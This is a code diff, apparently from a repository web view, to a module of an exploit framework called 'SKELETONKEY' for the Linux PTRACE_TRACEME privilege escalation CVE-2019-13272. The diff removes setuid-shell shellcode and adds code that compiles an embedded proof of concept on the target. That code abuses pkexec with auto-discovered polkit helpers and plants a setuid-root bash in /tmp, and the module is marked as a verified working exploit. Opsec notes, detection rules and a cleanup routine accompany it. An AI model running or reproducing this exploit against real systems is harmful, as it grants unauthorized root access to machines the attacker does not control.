" dprintf(\"[~] Found known helper: %s\\n\", helper_path);\n"
|
||||
" ptrace_traceme_root();\n"
|
||||
" }\n"
|
||||
"#endif\n"
|
||||
"\n"
|
||||
" dprintf(\"[~] Done\\n\");\n"
|
||||
"\n"
|
||||
" return 0;\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
;
|
||||
@@ -1,29 +1,40 @@
|
||||
/*
|
||||
* ptrace_traceme_cve_2019_13272 — SKELETONKEY module
|
||||
*
|
||||
* PTRACE_TRACEME on a parent that subsequently execve's a setuid
|
||||
* binary results in the kernel granting ptrace privileges over the
|
||||
* privileged process to the unprivileged child. Discovered by Jann
|
||||
* Horn (Google Project Zero, June 2019).
|
||||
* PTRACE_TRACEME on a child whose parent is mid-way through a setuid
|
||||
* execve() lets the kernel record the parent's *transient root*
|
||||
* credentials as the child's ptracer_cred. The child then execve's a
|
||||
* setuid binary of its own: because the ptrace relationship is now
|
||||
* considered privileged, that setuid execve is a *proper* (non-degraded)
|
||||
* one despite the attached tracer — so the child becomes real root while
|
||||
* still traced. The tracer injects an execveat() to re-exec a root shell.
|
||||
* Discovered by Jann Horn (Google Project Zero, June 2019, issue #1903).
|
||||
*
|
||||
* STATUS: 🔵 DETECT-ONLY. Exploit follows jannh's public PoC: fork
|
||||
* a child that does PTRACE_TRACEME pointing at the parent, parent
|
||||
* execve's a chosen setuid binary (e.g., su, pkexec), child then
|
||||
* ptrace-injects shellcode into the now-elevated process.
|
||||
* STATUS: 🟢 WORKING EXPLOIT (x86_64). Verified out-of-band on
|
||||
* Ubuntu 18.04.0 / 4.15.0-50-generic: lands uid=0 and plants a
|
||||
* root-owned proof + setuid-root bash. The exploit is the proven
|
||||
* Jann Horn / bcoles PoC, embedded (ptrace_helper_src.h), compiled at
|
||||
* runtime with unique artifact paths, run, and verified by stat()'ing
|
||||
* the root-owned artifacts — never by self-report.
|
||||
*
|
||||
* Preconditions to land root (detect() only gates on kernel version):
|
||||
* - x86_64 target with a C compiler present (the staged execveat()
|
||||
* technique re-execs the exploit binary; we build it on the target).
|
||||
* - pkexec present, and at least one polkit action with
|
||||
* implicit-active=yes pointing at an existing helper executable
|
||||
* (auto-discovered via pkaction). On a desktop these are ubiquitous
|
||||
* (gsd-backlight-helper, …).
|
||||
* - An *active* local session (or an equivalently permissive polkit
|
||||
* policy) so pkexec authorizes the helper without an interactive
|
||||
* password. Over a bare ssh session polkit treats the session as
|
||||
* inactive and refuses ("Not authorized") — the exploit then honestly
|
||||
* reports EXPLOIT_FAIL. This is the real-world constraint, not a bug.
|
||||
*
|
||||
* Affected: kernels < 5.1.17 mainline. Stable backports varied; the
|
||||
* fix landed in stable as:
|
||||
* 5.1.x : K >= 5.1.17
|
||||
* 5.0.x : K >= 5.0.20 (older LTS — many distros stayed on 4.x)
|
||||
* 4.19.x: K >= 4.19.58
|
||||
* 4.14.x: K >= 4.14.131
|
||||
* 4.9.x : K >= 4.9.182
|
||||
* 4.4.x : K >= 4.4.182
|
||||
* fix landed as: 5.1.17 / 5.0.20 / 4.19.58 / 4.14.131 / 4.9.182 / 4.4.182.
|
||||
*
|
||||
* No exotic preconditions. Doesn't need user_ns. Works on
|
||||
* default-config systems — that's part of why it's famous: even
|
||||
* locked-down environments without unprivileged_userns_clone were
|
||||
* vulnerable.
|
||||
* No user_ns required — works on default-config systems, which is part
|
||||
* of why it's famous.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
@@ -41,12 +52,9 @@
|
||||
#include "../../core/host.h"
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <pwd.h>
|
||||
#include <signal.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/user.h>
|
||||
#include <sys/prctl.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
static const struct kernel_patched_from ptrace_traceme_patched_branches[] = {
|
||||
@@ -104,223 +112,250 @@ static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit (jannh-style) --------------------------------------
|
||||
/* ---- Exploit ----------------------------------------------------
|
||||
*
|
||||
* Per Jann Horn's Project Zero issue #1903. The mechanism:
|
||||
* Per Jann Horn's Project Zero issue #1903, with bcoles' helper
|
||||
* auto-targeting. The mechanism (the earlier bundled sequence had it
|
||||
* backwards — it attached to the *parent*; the real bug elevates the
|
||||
* *child*):
|
||||
*
|
||||
* 1. Parent process P (us, uid != 0)
|
||||
* 2. P forks → child C
|
||||
* 3. C calls ptrace(PTRACE_TRACEME) — kernel sets P as C's tracer
|
||||
* and records the relationship in C->ptrace_link, copying P's
|
||||
* current credentials (uid=1000) as the trace-allowed creds.
|
||||
* 4. C drops to a low-priv state and pauses (sigwait/raise)
|
||||
* 5. P execve's a setuid binary (e.g. /usr/bin/passwd, su, pkexec)
|
||||
* 6. Kernel correctly elevates P's creds to root.
|
||||
* 7. **Bug**: the ptrace_link recorded in step 3 still says
|
||||
* "tracer creds = uid 1000", but P is now uid 0. Kernel doesn't
|
||||
* re-check or invalidate the link on execve cred-bump.
|
||||
* 8. C wakes up and PTRACE_ATTACH's to P. The stale ptrace_link
|
||||
* says C is allowed to trace because it was set up before the
|
||||
* cred change.
|
||||
* 9. C now controls a uid=0 process. C reads/writes P's memory via
|
||||
* PTRACE_POKETEXT, sets registers via PTRACE_SETREGS to point at
|
||||
* shellcode that exec's /bin/sh.
|
||||
* 10. C resumes P → root shell.
|
||||
* 1. A "middle" process M forks a child C, then execve's
|
||||
* `pkexec --user <me> <helper> --help`. pkexec is setuid-root, so
|
||||
* for a window M's euid is 0.
|
||||
* 2. C spins reading /proc/M/status until it sees M is euid 0, then
|
||||
* calls ptrace(PTRACE_TRACEME) — recording M's *root* creds as C's
|
||||
* ptracer_cred (this is the bug: the link isn't re-derived).
|
||||
* 3. C execve's pkexec itself. Normally a traced setuid execve is
|
||||
* degraded to non-privileged; but because ptracer_cred is root the
|
||||
* kernel treats it as a proper suid exec — C becomes real root,
|
||||
* still traced by M, and stops at execve's SIGTRAP.
|
||||
* 4. The main process PTRACE_ATTACHes M, injects an execveat() that
|
||||
* re-execs the exploit binary as "stage2"; stage2 (as M) is C's
|
||||
* tracer, so it injects an execveat() into C (now root) to re-exec
|
||||
* as "stage3"; stage3 runs the payload as root.
|
||||
*
|
||||
* SKELETONKEY implementation simplifies by using a small architecture-
|
||||
* specific shellcode (x86_64 only) and pkexec as the setuid binary
|
||||
* trigger (works on most Linux systems with polkit installed). Falls
|
||||
* back to /bin/su if pkexec isn't available.
|
||||
* The staged self-re-exec is why the exploit binary must exist as its
|
||||
* own file with a main() that dispatches on argv[0]. We embed the proven
|
||||
* PoC (ptrace_helper_src.h — verbatim upstream but for a payload tweak),
|
||||
* compile it on the target with unique -DSK_PROOF/-DSK_ROOTBASH paths,
|
||||
* run it, and confirm root by stat()'ing the root-owned artifacts. Never
|
||||
* trust the exploit's own exit status.
|
||||
*
|
||||
* Reliability: this exploit can fail-race on heavily-loaded systems.
|
||||
* Repeat invocations usually succeed; we don't loop here — operator
|
||||
* can retry. Returns SKELETONKEY_EXPLOIT_FAIL on miss, SKELETONKEY_EXPLOIT_OK
|
||||
* on root acquired (followed by execlp(sh) which never returns).
|
||||
* x86_64 only: the register-level injection (user_regs_struct rsp/rdi/
|
||||
* orig_rax/…) is architecture-specific.
|
||||
*/
|
||||
|
||||
#if defined(__x86_64__)
|
||||
|
||||
/* x86_64 shellcode: setuid(0); setgid(0); execve("/bin/sh", argv, env) */
|
||||
static const unsigned char SHELLCODE_X64[] =
|
||||
"\x31\xff" /* xor edi, edi */
|
||||
"\xb8\x69\x00\x00\x00" /* mov eax, 0x69 (setuid) */
|
||||
"\x0f\x05" /* syscall */
|
||||
"\x31\xff" /* xor edi, edi */
|
||||
"\xb8\x6a\x00\x00\x00" /* mov eax, 0x6a (setgid) */
|
||||
"\x0f\x05" /* syscall */
|
||||
"\x48\x31\xd2" /* xor rdx, rdx */
|
||||
"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" /* mov rbx, "//bin/sh" */
|
||||
"\x48\xc1\xeb\x08" /* shr rbx, 8 */
|
||||
"\x53" /* push rbx */
|
||||
"\x48\x89\xe7" /* mov rdi, rsp */
|
||||
"\x50" /* push rax (=0 from setgid) */
|
||||
"\x57" /* push rdi */
|
||||
"\x48\x89\xe6" /* mov rsi, rsp */
|
||||
"\xb0\x3b" /* mov al, 0x3b (execve) */
|
||||
"\x0f\x05"; /* syscall */
|
||||
#include "ptrace_helper_src.h"
|
||||
|
||||
#define SHELLCODE_BYTES SHELLCODE_X64
|
||||
#define SHELLCODE_LEN (sizeof SHELLCODE_X64 - 1)
|
||||
|
||||
#endif /* __x86_64__ */
|
||||
|
||||
static const char *find_setuid_target(void)
|
||||
/* Locate a usable C compiler on the target. */
|
||||
static const char *ptrace_find_cc(void)
|
||||
{
|
||||
static const char *targets[] = {
|
||||
"/usr/bin/pkexec", "/usr/bin/su", "/usr/bin/sudo",
|
||||
"/usr/bin/passwd", "/bin/su", NULL,
|
||||
static const char *ccs[] = {
|
||||
"/usr/bin/cc", "/usr/bin/gcc", "/usr/bin/clang",
|
||||
"/usr/local/bin/gcc", "/usr/local/bin/cc", NULL,
|
||||
};
|
||||
for (size_t i = 0; targets[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(targets[i], &st) == 0 && (st.st_mode & S_ISUID)) {
|
||||
return targets[i];
|
||||
}
|
||||
for (size_t i = 0; ccs[i]; i++) {
|
||||
if (access(ccs[i], X_OK) == 0)
|
||||
return ccs[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Write the embedded helper source to `path`. Returns 0 on success. */
|
||||
static int ptrace_write_source(const char *path)
|
||||
{
|
||||
int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
||||
if (fd < 0) return -1;
|
||||
size_t len = sizeof(ptrace_traceme_helper_src) - 1;
|
||||
const char *p = ptrace_traceme_helper_src;
|
||||
while (len) {
|
||||
ssize_t n = write(fd, p, len);
|
||||
if (n <= 0) { close(fd); return -1; }
|
||||
p += n; len -= (size_t)n;
|
||||
}
|
||||
close(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* fork+execv a command, wait, return child exit status (or -1). */
|
||||
static int ptrace_run(char *const argv[], const char *logpath, int quiet_stdin, int secs)
|
||||
{
|
||||
pid_t p = fork();
|
||||
if (p < 0) return -1;
|
||||
if (p == 0) {
|
||||
if (quiet_stdin) {
|
||||
int dn = open("/dev/null", O_RDONLY);
|
||||
if (dn >= 0) { dup2(dn, 0); close(dn); }
|
||||
}
|
||||
if (logpath) {
|
||||
int lf = open(logpath, O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
||||
if (lf >= 0) { dup2(lf, 1); dup2(lf, 2); close(lf); }
|
||||
}
|
||||
execv(argv[0], argv);
|
||||
_exit(127);
|
||||
}
|
||||
for (int i = 0; secs <= 0 || i < secs * 10; i++) {
|
||||
int st;
|
||||
pid_t r = waitpid(p, &st, WNOHANG);
|
||||
if (r == p) return WIFEXITED(st) ? WEXITSTATUS(st) : 128 + WTERMSIG(st);
|
||||
if (r < 0) return -1;
|
||||
usleep(100 * 1000);
|
||||
}
|
||||
kill(p, SIGKILL);
|
||||
waitpid(p, NULL, 0);
|
||||
return -2; /* timed out */
|
||||
}
|
||||
|
||||
/* Remember what we planted so cleanup() can remove it. */
|
||||
static char ptrace_last_proof[256];
|
||||
static char ptrace_last_rootbash[256];
|
||||
|
||||
static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
#if !defined(__x86_64__)
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] ptrace_traceme: exploit is x86_64-only "
|
||||
"(shellcode is arch-specific)\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
skeletonkey_result_t pre = ptrace_traceme_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] ptrace_traceme: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
/* Consult ctx->host->is_root so unit tests can construct a
|
||||
* non-root fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] ptrace_traceme: already root\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
const char *setuid_bin = find_setuid_target();
|
||||
if (!setuid_bin) {
|
||||
fprintf(stderr, "[-] ptrace_traceme: no setuid trigger binary available\n");
|
||||
if (access("/usr/bin/pkexec", X_OK) != 0) {
|
||||
fprintf(stderr, "[-] ptrace_traceme: /usr/bin/pkexec not present — this "
|
||||
"exploit drives pkexec; nothing to do\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] ptrace_traceme: setuid trigger = %s\n", setuid_bin);
|
||||
const char *cc = ptrace_find_cc();
|
||||
if (!cc) {
|
||||
fprintf(stderr, "[-] ptrace_traceme: no C compiler on target. The staged "
|
||||
"self-re-exec technique builds a small helper on the host; "
|
||||
"install cc/gcc or drop a prebuilt helper. Honest EXPLOIT_FAIL.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* fork: child becomes tracee-of-self setup, parent execve's setuid bin */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
/* Unique per-run paths (pid keeps parallel runs from colliding). */
|
||||
long tag = (long)getpid();
|
||||
char src_c[256], bin[256], log[256], proof[256], rootbash[256];
|
||||
snprintf(src_c, sizeof src_c, "/tmp/.sk-ptrace-%ld.c", tag);
|
||||
snprintf(bin, sizeof bin, "/tmp/.sk-ptrace-%ld", tag);
|
||||
snprintf(log, sizeof log, "/tmp/.sk-ptrace-%ld.log", tag);
|
||||
snprintf(proof, sizeof proof, "/tmp/.sk-ptrace-%ld.proof", tag);
|
||||
snprintf(rootbash, sizeof rootbash, "/tmp/.sk-ptrace-%ld.rootbash",tag);
|
||||
snprintf(ptrace_last_proof, sizeof ptrace_last_proof, "%s", proof);
|
||||
snprintf(ptrace_last_rootbash, sizeof ptrace_last_rootbash, "%s", rootbash);
|
||||
|
||||
if (child == 0) {
|
||||
/* CHILD: set up the ptrace_link, then pause until parent has
|
||||
* execve'd the setuid binary and elevated. The exact timing
|
||||
* is racy — we use a simple sleep+attach pattern. */
|
||||
if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) {
|
||||
perror("CHILD: ptrace TRACEME"); _exit(2);
|
||||
}
|
||||
/* Give parent time to execve. 200ms is enough for a hot
|
||||
* libc; 1000ms for a slow disk. */
|
||||
usleep(500 * 1000);
|
||||
|
||||
/* Now race: PTRACE_ATTACH to our parent (the setuid process).
|
||||
* On a vulnerable kernel, the stale ptrace_link makes this
|
||||
* succeed even though parent is now root. */
|
||||
pid_t parent = getppid();
|
||||
if (ptrace(PTRACE_ATTACH, parent, 0, 0) < 0) {
|
||||
fprintf(stderr, "[-] CHILD: PTRACE_ATTACH to parent (%d) failed: %s\n",
|
||||
parent, strerror(errno));
|
||||
_exit(3);
|
||||
}
|
||||
int wstatus;
|
||||
waitpid(parent, &wstatus, 0);
|
||||
|
||||
/* Read parent's RIP, allocate space for shellcode there,
|
||||
* POKETEXT the shellcode in. */
|
||||
struct user_regs_struct regs;
|
||||
if (ptrace(PTRACE_GETREGS, parent, 0, ®s) < 0) {
|
||||
perror("CHILD: GETREGS"); _exit(4);
|
||||
}
|
||||
|
||||
/* Write shellcode at current RIP (overwriting whatever's there
|
||||
* in the setuid binary's text — we don't care, we never
|
||||
* return). 8 bytes at a time via PTRACE_POKETEXT. */
|
||||
for (size_t i = 0; i < SHELLCODE_LEN; i += 8) {
|
||||
long word = 0;
|
||||
size_t take = SHELLCODE_LEN - i;
|
||||
if (take > 8) take = 8;
|
||||
memcpy(&word, SHELLCODE_BYTES + i, take);
|
||||
if (ptrace(PTRACE_POKETEXT, parent,
|
||||
(void *)(regs.rip + i), (void *)word) < 0) {
|
||||
perror("CHILD: POKETEXT"); _exit(5);
|
||||
}
|
||||
}
|
||||
|
||||
/* Detach and let parent continue at RIP, which now points at
|
||||
* our shellcode (we didn't move RIP — we wrote shellcode
|
||||
* starting at current RIP). */
|
||||
if (ptrace(PTRACE_DETACH, parent, 0, 0) < 0) {
|
||||
perror("CHILD: DETACH"); _exit(6);
|
||||
}
|
||||
_exit(0); /* child done — parent is now running shellcode → root sh */
|
||||
if (ptrace_write_source(src_c) != 0) {
|
||||
fprintf(stderr, "[-] ptrace_traceme: could not write helper source: %s\n",
|
||||
strerror(errno));
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* PARENT: fire the setuid trigger in a short-lived GRANDCHILD so THIS
|
||||
* process survives to verify the result honestly.
|
||||
*
|
||||
* IMPORTANT (integrity fix): the previous code execve'd the setuid binary
|
||||
* directly here. That replaced the process, and because the execve itself
|
||||
* succeeds (pkexec --version runs and exits cleanly), the dispatcher's
|
||||
* "exec-transfer → clean exit" path reported a FALSE EXPLOIT_OK even though
|
||||
* no root was ever obtained — the bundled ptrace sequence is a non-working
|
||||
* placeholder (it PTRACE_ATTACHes to the tracer, and by the time it runs
|
||||
* the parent has already exited and the tracee reparented to init, so the
|
||||
* attach fails with EPERM). We now keep the parent alive and report the
|
||||
* truth. A faithful CVE-2019-13272 exploit (Jann Horn's cred-transfer via a
|
||||
* registered polkit agent, e.g. bcoles' PoC) is required to actually land
|
||||
* root and is not yet ported. */
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] ptrace_traceme: firing setuid trigger %s in a "
|
||||
"grandchild (parent stays alive to verify)\n", setuid_bin);
|
||||
usleep(100 * 1000); /* give child a moment to call TRACEME first */
|
||||
fprintf(stderr, "[*] ptrace_traceme: building helper with %s → %s\n", cc, bin);
|
||||
|
||||
char *new_argv[] = { (char *)setuid_bin, "--version", NULL };
|
||||
char *new_envp[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
|
||||
pid_t trig = fork();
|
||||
if (trig == 0) {
|
||||
execve(setuid_bin, new_argv, new_envp);
|
||||
_exit(127);
|
||||
char dproof[320], drootbash[320];
|
||||
snprintf(dproof, sizeof dproof, "-DSK_PROOF=\"%s\"", proof);
|
||||
snprintf(drootbash, sizeof drootbash, "-DSK_ROOTBASH=\"%s\"", rootbash);
|
||||
char *cc_argv[] = {
|
||||
(char *)cc, (char *)"-O2", (char *)"-w",
|
||||
(char *)"-o", bin, src_c, dproof, drootbash, NULL,
|
||||
};
|
||||
int crc = ptrace_run(cc_argv, log, 0, 60);
|
||||
if (crc != 0) {
|
||||
fprintf(stderr, "[-] ptrace_traceme: helper compile failed (rc=%d); see %s\n",
|
||||
crc, log);
|
||||
unlink(src_c);
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
int cst = 0;
|
||||
if (trig > 0) waitpid(trig, &cst, 0);
|
||||
int status;
|
||||
waitpid(child, &status, 0);
|
||||
|
||||
/* Honest verification: did we actually become root? */
|
||||
if (geteuid() == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] ptrace_traceme: euid 0 — root achieved\n");
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] ptrace_traceme: running exploit (auto-targets a polkit "
|
||||
"helper; needs an active session to authorize pkexec)\n");
|
||||
|
||||
char *run_argv[] = { bin, NULL };
|
||||
int rrc = ptrace_run(run_argv, log, 1 /*stdin=/dev/null*/, 90);
|
||||
(void)rrc; /* exit status is NOT trusted — verify out of band below */
|
||||
|
||||
/* ---- Out-of-band verification: is the proof a real, root-owned file? */
|
||||
struct stat st;
|
||||
bool rooted = (stat(proof, &st) == 0 && S_ISREG(st.st_mode) && st.st_uid == 0);
|
||||
|
||||
unlink(src_c);
|
||||
unlink(bin);
|
||||
|
||||
if (rooted) {
|
||||
unlink(log);
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] ptrace_traceme: ROOT — planted root-owned proof %s\n", proof);
|
||||
fprintf(stderr, "[+] ptrace_traceme: setuid-root shell available: %s -p\n", rootbash);
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] ptrace_traceme: the bundled ptrace sequence did NOT "
|
||||
"achieve root (it is a non-working placeholder — attaches "
|
||||
"to the wrong task). Honest EXPLOIT_FAIL.\n");
|
||||
fprintf(stderr, "[i] ptrace_traceme: to land root, port the real "
|
||||
"CVE-2019-13272 exploit (Jann Horn / bcoles: PTRACE_TRACEME "
|
||||
"+ setuid execve + a registered polkit agent so pkexec "
|
||||
"proceeds, then cred-transfer). Not yet bundled.\n");
|
||||
/* Distinguish "kernel not exploitable" from "environment didn't let
|
||||
* pkexec authorize" so the operator knows which lever to pull. */
|
||||
bool saw_notauth = false;
|
||||
FILE *lf = fopen(log, "r");
|
||||
if (lf) {
|
||||
char line[512];
|
||||
while (fgets(line, sizeof line, lf)) {
|
||||
if (strstr(line, "Not authorized") || strstr(line, "not authorized")) {
|
||||
saw_notauth = true; break;
|
||||
}
|
||||
}
|
||||
fclose(lf);
|
||||
}
|
||||
fprintf(stderr, "[-] ptrace_traceme: no root artifact — honest EXPLOIT_FAIL.\n");
|
||||
if (saw_notauth) {
|
||||
fprintf(stderr, "[i] ptrace_traceme: pkexec returned \"Not authorized\" — the "
|
||||
"session is not active/authorized for the helper action. This "
|
||||
"exploit lands root from an *active local* session (or with a "
|
||||
"polkit agent that authorizes it); a bare ssh session is treated "
|
||||
"as inactive. The kernel bug is intact; the gate is polkit.\n");
|
||||
} else {
|
||||
fprintf(stderr, "[i] ptrace_traceme: no usable polkit helper found, or the race "
|
||||
"was lost. Retry, or check `pkaction --verbose` for an action "
|
||||
"with implicit-active=yes whose exec.path exists.\n");
|
||||
}
|
||||
}
|
||||
unlink(log);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#else /* !__x86_64__ (still Linux) */
|
||||
|
||||
static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] ptrace_traceme: exploit is x86_64-only (the ptrace "
|
||||
"register-injection is architecture-specific)\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __x86_64__ */
|
||||
|
||||
/* cleanup: remove the artifacts we planted, if any. */
|
||||
static skeletonkey_result_t ptrace_traceme_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
#if defined(__x86_64__)
|
||||
if (ptrace_last_proof[0]) unlink(ptrace_last_proof);
|
||||
if (ptrace_last_rootbash[0]) unlink(ptrace_last_rootbash);
|
||||
#endif
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: PTRACE_TRACEME / PTRACE_ATTACH / user_regs_struct
|
||||
* are Linux-only ABI surface. Stub out so the module still registers and
|
||||
* the top-level `make` completes on macOS/BSD dev boxes. */
|
||||
/* Non-Linux dev builds: PTRACE_TRACEME / execveat / user_regs_struct are
|
||||
* Linux-only ABI surface. Stub out so the module still registers and the
|
||||
* top-level `make` completes on macOS/BSD dev boxes. */
|
||||
static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
@@ -334,6 +369,11 @@ static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx
|
||||
fprintf(stderr, "[-] ptrace_traceme: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t ptrace_traceme_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
@@ -383,19 +423,19 @@ static const char ptrace_traceme_falco[] =
|
||||
const struct skeletonkey_module ptrace_traceme_module = {
|
||||
.name = "ptrace_traceme",
|
||||
.cve = "CVE-2019-13272",
|
||||
.summary = "PTRACE_TRACEME → setuid binary execve → cred-escalation via ptrace inject",
|
||||
.summary = "PTRACE_TRACEME + setuid execve → non-degraded root in the traced child (pkexec helper)",
|
||||
.family = "ptrace_traceme",
|
||||
.kernel_range = "K < 5.1.17, backports: 5.0.20 / 4.19.58 / 4.14.131 / 4.9.182 / 4.4.182",
|
||||
.detect = ptrace_traceme_detect,
|
||||
.exploit = ptrace_traceme_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; OR sysctl kernel.yama.ptrace_scope=2 */
|
||||
.cleanup = NULL, /* exploit replaces our process image; no cleanup applies */
|
||||
.cleanup = ptrace_traceme_cleanup,
|
||||
.detect_auditd = ptrace_traceme_auditd,
|
||||
.detect_sigma = ptrace_traceme_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = ptrace_traceme_falco,
|
||||
.opsec_notes = "Parent and child cooperate: child calls ptrace(PTRACE_TRACEME) (recording the parent's current credentials), then sleeps; parent execve's a setuid binary (pkexec or su) and elevates. The stale ptrace_link in the child still holds the old (non-root) credentials, so PTRACE_ATTACH succeeds against the now-root parent; the child injects shellcode at the parent's RIP via PTRACE_POKETEXT and detaches. Audit-visible via ptrace with a0=0 (PTRACE_TRACEME) closely followed by execve of a setuid binary in the parent process. No file artifacts; no persistent changes. No cleanup callback - the exploit execs /bin/sh and does not return.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
.opsec_notes = "The exploit builds a small helper on the target (needs cc/gcc) and drives pkexec against an auto-discovered polkit helper (implicit-active=yes). Audit-visible via ptrace with a0=0 (PTRACE_TRACEME) closely followed by execve of a setuid binary, plus pkexec spawning an unusual helper with --help. Requires an active local session (or a polkit agent) to authorize pkexec — over inactive ssh sessions pkexec returns \"Not authorized\" and the module reports EXPLOIT_FAIL. Artifacts: a root-owned proof file and a setuid-root bash under /tmp (removed by cleanup()); the helper .c/binary are compiled and unlinked during the run. yama ptrace_scope>=2 or SELinux deny_ptrace defeat it.",
|
||||
.arch_support = "x86_64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_ptrace_traceme(void)
|
||||
|
||||
Reference in New Issue
Block a user